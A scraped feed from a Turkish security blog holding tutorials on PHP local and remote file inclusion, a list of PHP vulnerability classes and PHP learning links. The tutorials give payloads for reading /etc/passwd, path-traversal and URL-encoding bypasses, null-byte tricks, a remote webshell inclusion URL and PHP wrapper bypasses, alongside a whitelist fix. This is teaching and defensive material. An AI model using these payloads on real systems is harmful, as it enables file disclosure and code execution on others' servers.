PHP arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me cypm! Thu, 19 Apr 2018 19:47:08 +0000 tr hourly 1 https://wordpress.org/?v=6.0 https://canyoupwn.me/wp-content/uploads/2016/02/cropped-Başlıksız-1-32x32.png PHP arşivleri • CanYouPwnMe! - For Cyber Security Researchers https://canyoupwn.me 32 32 TR | PHP File Inclusion Vulnerability https://canyoupwn.me/tr-php-file-inclusion-vulnerability/ https://canyoupwn.me/tr-php-file-inclusion-vulnerability/#respond Sun, 24 Jul 2016 09:53:28 +0000 https://canyoupwn.me/?p=2520 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, web uygulama güvenliğinde sayfaya dosya dahil etme(file inclusion) önemli bir zafiyet türüdür. Bu zafiyet türünün iyi anlaşılması için yazdığımı uygulamayı ve konunun detaylarını inceleyeceğiz. PHP dili ile yazdığımız bu uygulamaya https://github.com/sinansahin/cvwa-php-example adresinden ulaşabilirsiniz. Dosya dahil etme zafiyetleri iki türlüdür. Bunlardan birisi uzak dosya dahil etme(remote file inclusion), diğeri yerel dosya dahil etme(local file inclusion). […]

TR | PHP File Inclusion Vulnerability Sinan Şahin

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, web uygulama güvenliğinde sayfaya dosya dahil etme(file inclusion) önemli bir zafiyet türüdür. Bu zafiyet türünün iyi anlaşılması için yazdığımı uygulamayı ve konunun detaylarını inceleyeceğiz. PHP dili ile yazdığımız bu uygulamaya https://github.com/sinansahin/cvwa-php-example adresinden ulaşabilirsiniz.

Dosya dahil etme zafiyetleri iki türlüdür. Bunlardan birisi uzak dosya dahil etme(remote file inclusion), diğeri yerel dosya dahil etme(local file inclusion). Uzak dosya dahil etme açığı, saldırganın sunucunuzda bulunmayan fakat sizin sisteminize zarar verecek veya veri hırsızlığına yol açabilecek kodların sizin sunucunuzda çalıştırması işlemidir. Yerel dosya dahil etme açığı ise kendi sistemimizde bulunan bir dosyanın istenmeyen bir şekilde saldırgan tarafından çalıştırılması işlemidir. Bu zafiyet ile saldırgan passwd ve config dosyaları gibi önemli dosyaları okuyabilir.

Zafiyet Nasıl Oluşuyor?

  • Önlem Alınmamış

file inclusion example code

Genel olarak yukarıdaki gibi dahil edilecek dosya get ile alınıp hiç bir kontrol ve temizleme işlemine tabi tutulmadan include fonksiyonuna veriliyor. Saldırgan adres satırında ” index.php?file=/etc/passwd ” şeklinde bir istek yaptığında sistemin passwd dosyasını okuyabiliyor. Sistem içersinden bir dosya olan passwd’yi okumakla saldırgan local file inclusion zafiyetini kullanmış oldu. Saldırgan adres satırına ” index.php?file=http://example.com/webshell.txt ” şeklinde bir istek yaptığında eğer sistemin ayarlarında uzak dosya dahil etme aktif ise saldırgan sisteminiz üzerinde shell dosyası çalıştırmış olacaktır. Bu shell dosyasının özelliklerine ve salgırganın yeteneklerine göre artık saldırgan sisteminizde at koşturabilir 🙂 Php versiyonunuz 4.0.3 ve üstü ise varsayılan olarak sisteminizin uzaktan dosya çalıştırma özelliği kapalıdır.

  • Yetersiz Önlem Alınmışlar

level2

Yazılımcı arkadaş kendince bir önlem almış. Saldırgan ” index.php?file=/etc/passwd ” şeklinde yapacağı isteği önlemiş. Fakat unuttuğu bir durum mevcut; dizinler arası geçiş. Saldırganın ” index.php?file=../../../../../etc/passwd ” şeklinde bir isteğine yazılımcı önlemi geçerli olmayacaktır.

level3

Yazılımcı arkadaş saldırgan passwd dosyasını okuyamasın diye get isteği ile gelen veri içersindeki ” ../ ” değerlerini silmiş. Artık saldırgan ” index.php?file=/etc/passwd ” böyle bir istek yaptığında emellerine ulaşamıyor. Fakat yazılımcı arkadaşın atladığı bir durum mevcut: url encode. Saldırgan ” index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd ” şeklinde bir payload ile yoluna devam edebilir.

level4

Yazılımcı arkadaş üstteki bu kod ile gelen veriye uzantı ekleyip içersinde url encoding yapılmış karakterleri temizlemiş. Burada PHP dilinin boş karakter görünce devamındaki kodu işlememesi durumunu veya çöp değer gönderme yöntemini kullanabiliriz. Saldırgan ” index.php?file=http://google.com%00 “, ” index.php?file=http://192.168.56.101/index.php?cop= ” ve buna benzer ürettiği bir çok payload ile emellerine ulaşabilir.

  • Önlem alınmış

secure code

Bir çok önlem alınmamış kod inceledik. Peki bu zafiyeti oluşturmadan dosya dahil etme işlemini nasıl yapacağız sorunuza  yukarıdaki kodu geliştirdik. Dahil edeceğiniz dosyaları önceden belirlemeniz sizi bir anlamdan güvene alacaktır.  Gelen isteğin içinden sadece dosya adını ayrıştırıp, dizi içinde var mı kontrolü ile dahil edeceğiniz dosyayı doğru seçebilirsiniz.

Sorularınızı ve yorumlarınızı aşağıda paylaşırsanız memnun oluruz.

TR | PHP File Inclusion Vulnerability Sinan Şahin

]]>
https://canyoupwn.me/tr-php-file-inclusion-vulnerability/feed/ 0
EN | Php Security Check List https://canyoupwn.me/en-php-security-check-list/ https://canyoupwn.me/en-php-security-check-list/#respond Sun, 19 Jun 2016 22:54:07 +0000 https://canyoupwn.me/?p=2858 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

  Full Path Disclosure Arbitrary File Upload Arbitrary File Delete Arbitrary File Download Local File Inclusion Remote File Inclusion Cookie Injection Header Injection Sql Injection Xml Injection XXE Injection Email Injection Html Injection Xpath Injection Code Injection Command Injection Object Injection Cross Site Scripting Cross Site Request Forgery Broken Authentication and Session Management

EN | Php Security Check List CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

php_security

 

  • Full Path Disclosure
  • Arbitrary File Upload
  • Arbitrary File Delete
  • Arbitrary File Download
  • Local File Inclusion
  • Remote File Inclusion
  • Cookie Injection
  • Header Injection
  • Sql Injection
  • Xml Injection
  • XXE Injection
  • Email Injection
  • Html Injection
  • Xpath Injection
  • Code Injection
  • Command Injection
  • Object Injection
  • Cross Site Scripting
  • Cross Site Request Forgery
  • Broken Authentication and Session Management

EN | Php Security Check List CanYouPwnMe

]]>
https://canyoupwn.me/en-php-security-check-list/feed/ 0
TR | Awesome Learn PHP https://canyoupwn.me/awesome-learn-php-2/ https://canyoupwn.me/awesome-learn-php-2/#respond Thu, 24 Mar 2016 07:42:27 +0000 https://canyoupwn.me/?p=1199 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Konu Anlatımları & Alıştırmalar EN codecademy.com w3schools.com php.net learn-php.org tutorialspoint.com/ .homeandlearn.co.uk code.tutsplus.com/   TR phpr.org phpkodlari.com banadersanlat.com erbilen.net   Görüntülü Dersler EN Php Tutorial Playlist Taking PHP Seriously PHP Town Hall Programming with Anthony PHP UK Conference   TR PHP & MYSQL   Editor &  IDE SublimeText PhpDesigner 8 Notepad++ Eclipse PDT Zend Studio PhpStorm […]

TR | Awesome Learn PHP CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Konu Anlatımları & Alıştırmalar

EN
codecademy.com

w3schools.com

php.net

learn-php.org

tutorialspoint.com/

.homeandlearn.co.uk

code.tutsplus.com/

 

TR

phpr.org

phpkodlari.com

banadersanlat.com

erbilen.net

 

Görüntülü Dersler

EN

Php Tutorial Playlist

Taking PHP Seriously

PHP Town Hall

Programming with Anthony

PHP UK Conference

 

TR

PHP & MYSQL

 

Editor &  IDE

SublimeText

PhpDesigner 8

Notepad++

Eclipse PDT

Zend Studio

PhpStorm

Atom

 

PDF & E-Book

Php Tutorial PDF

5 Free E-books and Tutorials

Teach Yourself PHP In 24 Hours

Multiprogramming PHP

PHP Tutorial

MYSQL & PHP

Beginning PHP

Mysql Tutorial

E-Book PHP & MYSQL Database Applications

The Best Way to Learn PHP

 

Frameworks

Symfony 2

Zend Framework 2

Laravel 5

Aura PHP.

Yii2

Nette

PPI Framework 2

CakePHP

Phalcon

 

Micro Frameworks

Silex

Slim

Bullet PHP

Lumen

Proton

 

Source Codes ( Kaynak kodlar ) :

Codango: PHP Scripts

Hotscripts: PHP Resources

PHPclasses.org

Top Github code

 

TR | Awesome Learn PHP CanYouPwnMe

]]>
https://canyoupwn.me/awesome-learn-php-2/feed/ 0
TR | File Include https://canyoupwn.me/file-include/ https://canyoupwn.me/file-include/#respond Thu, 18 Feb 2016 13:22:58 +0000 https://canyoupwn.me/?p=742 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir çok açık gibi bunlar da Input Validition alanlarından kaynaklanmaktadır, her dil de görülebilen bir açık olup en fazla PHP‘de meydana gelmektedir. File Include kelime anlamı olarak Dosya “Dahil Etmek, Çağırmak” anlamlarına gelmektedir, bu çağırma işlemi iki farklı yoldan gerçekleştirilebilir, bunlar “Local ve Remote“. Açığın anlatımına girmeden önce meydana getiren fonksiyon’dan bahsedelim. File Include saldırılarına include fonksiyonu […]

TR | File Include CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bir çok açık gibi bunlar da Input Validition alanlarından kaynaklanmaktadır, her dil de görülebilen bir açık olup en fazla PHP‘de meydana gelmektedir.

File Include kelime anlamı olarak DosyaDahil Etmek, Çağırmak” anlamlarına gelmektedir, bu çağırma işlemi iki farklı yoldan gerçekleştirilebilir, bunlar “Local ve Remote“.

Açığın anlatımına girmeden önce meydana getiren fonksiyon’dan bahsedelim.

1

File Include saldırılarına include fonksiyonu sebep olmaktadır, bu fonksiyon PHP’de 4.3 sürümünde gelmiştir.

Örnek 1;

11-300x186

Fonksiyonumuz ek olarak bir parametre alabilir. Parametre’nin işlevi şudur; Kullanıcıdan aldığı dosyaismi’ne .php uzantısı eklemek. Tabi ki bu durum da /etc/passwd’u çekmek istediğimiz de sonuna .php ekleyeceği için başarısız bir işlem olacaktır. Bu durum da bypass etmek için NULL Byte tekniği kullanılmaktadır.

2

Hata örneğimiz;

12

Input’da görüldüğü gibi .txt dosyası çağırmak istedim fakat parametrem’de “.php” olduğundan sonuna onu ekledi. Öyle bir dosya da bulunamadığından ve açamadığından bize sunamadı.

13

Alternatif olarak;

include_once()
require()
require_once()
file()
fopen()
readfile()

Fonksiyonları da kullanılabilir.

Remote File Include

Uzaktan dosya Çağırma anlamına gelmektedir, fakat bu artık günümüzde pek mümkün değildir. Bu açık uzak bir sunucu da ki dosyayı kendi sunucunuza çekebilmenizi sağlar. Neden artık mümkün değil dersek, PHP’de wrapper‘lar mevcuttur, bunlardan birisi de, http://https:// Wrapper’dır. Bu wrapper input’a eklenen URL’e erişmeye uğraşır.

3-1024x158

Benim php.ini konfigurasyonun da http:// wrapper disabled ve allow_url_include kapalı olduğundan dosya çekmek mümkün olmuyor.

14-1024x171

Açık olduğun da ise size dosyayı çekecektir. Bu gibi sorunlar sebebi ile popüleritesini, LFI’a bıraktı.

Trick 1:

Sadece http:// wrapper disabled ise File Include mevcut ve allow_url_include ON ayarın da ise bu durum da alternatif olarak data:// ve ftp:// wrapper’larını kullanabilirsiniz.

Local File Include

Lokal Dosya Çağırma anlamına gelmektedir, aynı sunucu da ki dosyaları çağırabilirsiniz. Bahsettiğim include fonksiyonu sebebi ile meydana gelmektedir. Büyük olasılıkla bir input bir dosya çağırıyorsa orada LFI testleri yapılabilir. Bazı durumlar da direk include fonksiyon hatası verebileceği gibi bazen de blind olabilmekte yani hafif de olsa sayfada değişmeler meydana gelebilmektedir.

Parametre ile örnek verelim.

2-1

15

Localhost’un ana sayfa dosyasını böylelikle çağırmış olduk. Kullanıcıdan bir değer almasını istedik ve sonuna .php parametresini ekledik. Bu durum da bize local’de bulunan index’i çağırdı.

Tespit;

Hata Tabanlı Tespit;

Hatamız kullanıcıdan aldığı değerin sonuna .php eklediğini söylüyor bu developer’a değişebilir illaki .php olabilecek kaidesi yoktur. .htm de olabilirdi. Öncelikle yapacağımız işlem .php uzantısını ekletmemek olacaktır.

16

Hatamızı olduğunu anladık ve sonuna .php karakterini ekletmemeye çalışalım.

19-1024x199
“% 00” null byte injection olarak geçmektedir esasen, bu karakter string sonlandırma karakteri olarak bilinir.

Blind Hata;

17

18
Bu durum da ilk önce bilinen bir dosya çağırılır mesela news nesnesi eğer nesneyi çağırmakta sorun yok ise path eklenerek devam edilebilir. Fakat size bize bozuk hali ile response veriyor ise bu durum da parametre mevcuttur diyebiliriz. Bu durumda NULL Byte karakterine başvurulur.

İşletim sistemleri Path;

İşletim sistemlerinde path mevcuttur bu dosya yolları olarakta geçmektedir.

<strong>Linux:</strong> ../
<strong>Windows:</strong> ..\

 

Linux’da /etc/passwd Nesnesi;

Linux sunucular da vazgeçilmez nesnedir, sunucu da ki kullanıcı isimlerini size vermektedir. Defacer’lar içinde bu dosya hayati önem almaktadır, bir public sunucu’ya backdoor attığı vakit bu dosyayı çekip, symlink saldırısı yapmaktadır.

20

Yanlış Filtrelemeler

STR_Replace Yanlış Fix

str_replace('../', '', $_GET['file']);

1: URL Encoding: ..%2Fetc%2Fpasswd

2: Wrapper: file://etc/passwd

STR_Replace Yanlış Fix

str_replace('.', '', $_GET['file']);

1: file://etc/passwd

 

PHP Wrapper

file:// — Local dosyalar
http:// — URL erişim
ftp:// — FTP erişim
php:// — Dosya okutmak yazdırmak gibi işlemler yapılır.
zlib:// — Compression Streams
data:// — Data (RFC 2397)
phar:// — Arşiv
expect:// — Komut çalıştırır

Birşeyler karaladık. Umarım öğretici ve faydalı olur.
Wrapperları kullanmak ve Shell Upload için ikinci serisi olucak. (:
Onu da en yakın zamanda yazarım. (:

Hata gördüğünüz yerlerde benimle iletişime geçerseniz memnun olurum. (Y)

 

 

 

 

 

 

 

 

TR | File Include CanYouPwnMe

]]>
https://canyoupwn.me/file-include/feed/ 0